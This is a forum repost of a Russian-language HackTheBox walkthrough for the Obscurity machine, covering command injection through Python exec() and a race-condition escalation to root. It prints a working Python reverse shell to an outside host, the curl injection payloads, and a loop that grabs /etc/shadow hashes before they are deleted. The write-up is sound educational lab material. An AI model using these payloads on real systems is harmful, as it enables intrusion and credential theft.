HimeraSearchDB
Carding_EbayThief
triada
CrackerTuch
d-shop
HimeraSearchDB

НОВОСТИ HackTheBox. Прохождение Obscurity. OS Command Injection и Race Condition

Bonnie
Оффлайн
Регистрация
12.04.17
Сообщения
19.095
Реакции
107
Репутация
0
gf8_mhg0dke55wq-y0_f7aqrs50.png


Продолжаю публикацию решений отправленных на дорешивание машин с площадки .

В данной статье эксплуатируем уязвимость в программном коде python, а также выполняем атаку Race Condition.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.168, который я добавляю в /etc/hosts.


10.10.10.168 obscurity.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.


masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

vezmgbobjnntvz37vzsbjiqyfcy.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.


nmap -A obscurity.htb -p22,8080

hvzwsbg11evbblwc_7nyv6qmeuk.png


На хосте работают служба SSH и веб-сервер. Идем на смотреть веб.

lywmrseqwiygp3w_pfh9htb0e6s.png


Таким образом, имеем:
1.Самописный сервер
2.Используется шифрование
3.Код сервера в файле SuperSecureServer.py в каком-то неизвестном каталоге.
Так как мы знаем название файла, давайте переберем каталог. Сделаем это с помощью wfuzz. В качестве параметра передаем словарь, URL и код ответа, который нужно игнорировать.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u --hc 404

rk0l4zkoprhzew4pbdd9hkyt2cq.png


И мы находим эту директорию. Давайте скачаем код сервера.

wget


Entry Point


Открываем и анализируем сервер. Находим потенциально опасное использование функции exec().

bqrkxqgktpfsx27alwksvknwvpi.png


Давайте допишем в код несколько строк.

aj4cuhefm6yzbe0kpawouxxz6ug.png


Так мы сможем запустить сервер локально и посмотреть, что попадает в функцию exec(). Запустим сервер, и пошлем запрос.

curl

k9ox8auk_mcmwln9hpmojqeqexk.png


curl " '"

jen89qd1tolau2gs6molb090i8c.png


curl " ''"

6a_bv9kdz9ggx9zl5ly4equov4m.png


Таким образом имеем OS Command injection.

curl " "whoami\");'"

ttrrkfpa-mbnoprkqoz5cj5oiai.png


Будем использовать следующий реверс шелл python.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Так как в коде сервера уже есть импорт нужных модулей, из шелла их импорт убираем. А также экранируем кавычки и квадратные скобки.

curl " "10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"


hy8_q-cnp820yq2rr5kwwch7fym.png


Отлично! Все работает на локальной машине. Давайте выполним этот запрос на сервер.

curl " "10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

gp1rdep9g74kv0ki-t0a6llnd3a.png


Имеем точку входа.

USER


Осматриваемся на сервере и находим доступные для чтения файлы в домашней директории пользователя.

prm_b36s0okaxa5y4wjymvkgbna.png


Читаем файлы.

m2hfia4jqmrg0-0b4pi5l0dcd40.png


Таким образом, файлы зашифрованы. Скачиваем все, что нам дается, на локальный хост. Как сказано в сообщении зашифрован файл check.txt, а результат в out.txt. Посмотрим алгоритм.

yididwhvr-x-2ociqvoj-f24bka.png


Таким образом, при шифровании происходит сложение символа текста и символа ключа по модулю 255. При расшифровывании данные символы вычитаются.

То есть ([check.txt] + [key])% 255 = out.txt и ([out.txt] — [key])%255=check.txt. Тогда ([out.txt] — [check.txt])%255=key.

bravis7xcsbp1kfasldy9bxo0ac.png


up4lppodi_qy9dkckrrwgelcxjo.png


И просмотрим ключ.

gn6ddctqopy3b2pb8z9nawh1c9s.png


И теперь на этом ключе расшифровываем пароль пользователя.

kt_9if4b5yp2jawoabhfbrxqgq8.png


С данным паролем подключаемся по SSH и забираем флаг пользователя.

klm4isa2aud9s8kvwywhvlzjiuu.png


ROOT


Посмотрим настройки sudo, а именно, может ли пользователь robert выполнять какие-либо команды под sudo без пароля.

dcti54cwheebre82fzqsojembl8.png


Посмотрим код. Код потребует аутентификационные данные. Потом скопирует содержимое файла /etc/shadow в каталог /tmp/SSH/*. Потом проверит аутентификационные данные и удалит файл.

afvoxycz_gseginmmadfj4bf2ue.png


wqpkhlmgmylnsvuz_gsoq9fmylg.png


Таким образом, мы должны успеть скопировать файл из /etc/SSH/*, пока он не будет удален. Запустим второй терминал и выполним в нем бесконечный цикл чтения.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Теперь запускаем программу, вводим любые данные и видим хеши.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

juqkabmjmnrpnzcqafboqscrjyo.png


И они легко ломаются.

oasoigktbce_1gmgsmnoeqqnmv4.png


Забираем флаг рута.

plgm5kszut4lv_zfq99ghkoxg5i.png


Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу